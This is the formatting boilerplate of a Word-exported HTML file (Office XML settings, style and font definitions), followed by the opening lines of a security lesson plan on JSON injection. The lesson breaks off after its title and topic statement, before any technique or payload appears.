||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Perform JSON Injection <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson
|
||||
teaches how to perform JSON Injection Attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>How the
|
||||
